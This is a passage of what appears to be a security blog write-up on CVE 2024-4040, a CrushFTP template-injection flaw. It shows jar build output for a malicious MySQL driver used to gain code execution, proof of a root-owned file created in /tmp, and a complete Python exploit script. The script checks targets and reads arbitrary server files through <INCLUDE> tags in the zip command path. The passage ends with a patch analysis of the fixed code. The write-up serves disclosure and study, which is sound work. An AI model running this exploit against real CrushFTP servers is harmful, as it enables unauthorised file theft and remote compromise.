adding: com/mysql/jdbc/profiler/ProfileEventSink.class(in = 1835) (out= 928)(deflated 49%)
adding: com/mysql/jdbc/profiler/ProfilerEvent.class(in = 5720) (out= 2800)(deflated 51%)
adding: com/mysql/jdbc/util/(in = 0) (out= 0)(stored 0%)
adding: com/mysql/jdbc/util/BaseBugReport.class(in = 2200) (out= 1089)(deflated 50%)
adding: com/mysql/jdbc/util/ErrorMappingsDocGenerator.class(in = 581) (out= 348)(deflated 40%)
adding: com/mysql/jdbc/util/LRUCache.class(in = 700) (out= 454)(deflated 35%)
adding: com/mysql/jdbc/util/PropertiesDocGenerator.class(in = 721) (out= 423)(deflated 41%)
adding: com/mysql/jdbc/util/ReadAheadInputStream.class(in = 4549) (out= 2490)(deflated 45%)
adding: com/mysql/jdbc/util/ResultSetUtil.class(in = 1718) (out= 977)(deflated 43%)
adding: com/mysql/jdbc/util/ServerController.class(in = 4914) (out= 2499)(deflated 49%)
adding: com/mysql/jdbc/util/TimezoneDump.class(in = 1825) (out= 989)(deflated 45%)
adding: com/mysql/jdbc/util/VersionFSHierarchyMaker.class(in = 3699) (out= 2113)(deflated 42%)
adding: manifest.txt(in = 36) (out= 38)(deflated -5%)
adding: org/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/mysql/(in = 0) (out= 0)(stored 0%)
adding: org/gjt/mm/mysql/Driver.class(in = 699) (out= 459)(deflated 34%)
adding: org/gjt/mm/mysql/Driver.java(in = 575) (out= 307)(deflated 46%)

Once the jar is ready, we can now go back to the CrushSQL and configure the Database Driver file and save the settings. Once we clicked on “Test settings”, it will hang up for a second and throw the shown error but the command will be executed:

Untitled

We can see that the file has been created:

ζ ls -la /tmp/crushftp_pwned                                                                                                                                                                                        
-rw-r--r-- 1 root root 0 May  9 07:22 /tmp/crushftp_pwned

I have made my own script which triggers the vulnerability and checks if the target CrushFTP is vulnerable or not and if it is, it will retrieve the specified file.

Unfortunately, automating the RCE is not worth the effort in this case as it is multi-step process. Not that it cannot be automated with extra effort, it is just some dependency on the VFS share where you have uploaded the jar file have to be specified during the plugin configuration. It will not be scalable per se.

#!/usr/bin/python3

import requests
import argparse
import re

def check_vulnerability(url):
    try:
        sess = requests.Session()
        sess.get(url)
        currentAuth = sess.cookies['currentAuth']
        # Implement vulnerability check logic here
        print("[*] Checking vulnerability for URL:", url)

        response = sess.get(f"{url}/WebInterface/function/?command=zip&c2f="+currentAuth+"&path={{user_name}}&names=*")
        if "anonymous" in response.text:
            print(f"[+] URL: {url} is vulnerable to CVE 2024-4040")
            return True
        else:
            print("[-] Not vulnerable!")
            return False
    except Exception as e:
        print(f"Error occured: ", e)
        return False

def do_include_file_command(url, filename):
    # Implement LFI logic here
    check_vulnerability(url)
    print("[*] Attempting to read file:", filename)
    try:
        sess = requests.Session()
        sess.get(url)
        currentAuth = sess.cookies['currentAuth']
        response = sess.get(f"{url}/WebInterface/function/?command=zip&c2f="+currentAuth+f"&path=<INCLUDE>{filename}</INCLUDE>&names=*")
        if filename in response.text:
            print("[!] Filename found in response, the requested file may not exist")
            print(response.text)
        else:
            print(response.text)
        return True
    except Exception as e:
        print(f"Error occured: ", e)
        return False

def main():
    parser = argparse.ArgumentParser(description="Script to check for vulnerability and perform LFI on CrushFTP.")
    parser.add_argument("--check", action="store_true", help="Check if the remote instance is vulnerable or not")
    parser.add_argument("--lfi", metavar="FILENAME", help="Include a file from the remote instance")
    parser.add_argument("--url", required=True, help="Base URL of the CrushFTP instance")

    args = parser.parse_args()
    print("-"*0x30)
    print("Exploit for CVE 2024-4040 - CrushFTP SSTI Vulnerability")
    print("Author: D4mianWayne (Robin)")
    print("Blog: https://d4mianwayne.github.io\n")
    print("-"*0x30 + "\n")

    if args.check:
        check_vulnerability(args.url)

    if args.lfi:
        do_include_file_command(args.url, args.lfi)

if __name__ == '__main__':
    main()

Untitled

The exploit script and the exploit.jar (used for RCE) can be found here.

Patch #

The CrushFTP developers fixed this in 11.1.0 and 10.6.0 versions. Checking the writeResponse method, we clearly see that the function which was previously being called has been changed, it is now renamed to change_user_safe_vars_to_values_static , previously it was change_vars_to_values

   public boolean writeResponse(String response) throws Exception {
      return this.writeResponse(response, true, 200, true, false, true);
   }

   public boolean writeResponse(String response, boolean json) throws Exception {
      return this.writeResponse(response, true, 200, true, json, true);
   }

   public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {
      boolean acceptsGZIP = false;
      return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);
   }

   public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
      if (convertVars && this.thisSessionHTTP.thisSession != null) {
         response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);
      }

And checking the change_user_safe_vars_to_values_static , we see that there are two new lines added to the start of this function:

if (in_str.indexOf('%') < 0 && in_str.indexOf('{') < 0 && in_str.indexOf('}') < 0 && in_str.indexOf('<') < 0)
		return in_str; 

We can see that it checks the given string if it contains either of following characters:

{}%<

More so, this function does not even check for INCLUDE or any other such tags for that matter basically mitigating any chances of invoking those.

  public static String change_user_safe_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
    try {
      if (in_str.indexOf('%') < 0 && in_str.indexOf('{') < 0 && in_str.indexOf('}') < 0 && in_str.indexOf('<') < 0)
        return in_str; 
      String r1 = "%";
      String r2 = "%";
      for (int r = 0; r < 2; r++) {
        if (in_str.indexOf(r1) >= 0)
          in_str = parse_server_messages(in_str); 
        if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, (new Date()).toString()); 
        if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, uSG(user_info, "user_number")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_password" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_password" + r2, uSG(user_info, "current_password")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_name" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_name" + r2, uSG(user, "username")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_anonymous_password" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_anonymous_password" + r2, uSG(user_info, "user_name").equalsIgnoreCase("anonymous") ? uSG(user_info, "current_password") : ""); 
        if (in_str.indexOf(String.valueOf(r1) + "user_current_dir" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_current_dir" + r2, the_session.get_PWD()); 
        if (in_str.indexOf(String.valueOf(r1) + "user_site_commands_text" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_site_commands_text" + r2, uSG(user, "site")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_the_command_data" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_the_command_data" + r2, uSG(user_info, "the_command_data")); 
        if (in_str.indexOf(String.valueOf(r1) + "the_command_data" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "the_command_data" + r2, uSG(user_info, "the_command_data")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_the_command" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_the_command" + r2, uSG(user_info, "the_command")); 
        if (in_str.indexOf(String.valueOf(r1) + "the_command" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "the_command" + r2, uSG(user_info, "the_command")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_file_length" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_file_length" + r2, uSG(user_info, "file_length")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_overall_transfer_speed" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_overall_transfer_speed" + r2, uSG(user_info, "overall_transfer_speed")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_paused" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_paused" + r2, uSG(user_info, "paused")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_ip" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_ip" + r2, uSG(user_info, "ip")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_time_remaining" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, uSG(user_info, "time_remaining")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_session_upload_count" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_session_upload_count" + r2, uSG(user_info, "session_upload_count")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_session_download_count" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_session_download_count" + r2, uSG(user_info, "session_download_count")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_port_remote_ip" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_port_remote_ip" + r2, uSG(user_info, "port_remote_ip")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_port_remote_port" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_port_remote_port" + r2, uSG(user_info, "port_remote_port")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_time" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time" + r2, uSG(user_info, "time")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_start_resume_loc" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_start_resume_loc" + r2, uSG(user_info, "start_resume_loc")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_file_transfer_mode" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_file_transfer_mode" + r2, uSG(user_info, "file_transfer_mode")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_sfv" + r2) >= 0 || in_str.indexOf(String.valueOf(r1) + "user_md5" + r2) >= 0) {
          in_str = in_str.replaceAll("CRC32", "MD5");
          if (user_info != null)
            in_str = in_str.replaceAll(String.valueOf(r1) + "user_md5" + r2, user_info.getProperty("md5")); 
          if (user_info != null)
            in_str = in_str.replaceAll(String.valueOf(r1) + "user_sfv" + r2, user_info.getProperty("md5")); 
        } 
        try {
          if (in_str.indexOf(String.valueOf(r1) + "user_time_remaining" + r2) >= 0) {
            String time_str = String.valueOf(uLG(user_info, "seconds_remaining")) + " secs";
            if (uLG(user_info, "seconds_remaining") == 0L)
              time_str = "<None Active>"; 
            user_info.put("last_time_remaining", time_str);
            if (uLG(user_info, "seconds_remaining") > 60L)
              time_str = String.valueOf(uLG(user_info, "seconds_remaining") / 60L) + "min, " + (uLG(user_info, "seconds_remaining") - uLG(user_info, "seconds_remaining") / 60L * 60L) + " secs"; 
            in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, time_str);
            user_info.put("last_time_remaining", time_str);
          } 
        } catch (Exception e) {
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_time_remaining" + r2, uSG(user_info, "last_time_remaining"));
        } 
        if (in_str.indexOf(String.valueOf(r1) + "user_paused" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_paused" + r2, uBG(user_info, "pause_now") ? "!PAUSED!" : ""); 
        if (in_str.indexOf(String.valueOf(r1) + "user_bytes_remaining" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_bytes_remaining" + r2, uLG(user_info, "file_length") - uLG(user_info, "bytes_sent") - uLG(user_info, "start_transfer_byte_amount")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_pasv_port" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_pasv_port" + r2, uIG(user_info, "PASV_port")); 
        if (in_str.indexOf(String.valueOf(r1) + "user_ratio" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_ratio" + r2, uSG(user, "ratio") + " to 1"); 
        if (in_str.indexOf(String.valueOf(r1) + "user_perm_ratio" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_perm_ratio" + r2, uBG(user, "perm_ratio") ? "Yes" : "No"); 
        if (in_str.indexOf(String.valueOf(r1) + "user_reverse_ip" + r2) >= 0)
          in_str = Common.replace_str(in_str, String.valueOf(r1) + "user_reverse_ip" + r2, InetAddress.getByName(uSG(user, "user_ip")).getHostName()); 
        r1 = "{";
        r2 = "}";
      } 
    } catch (Exception e) {
      Log.log("SERVER", 2, e);
    } 
    return in_str;
  }

References: #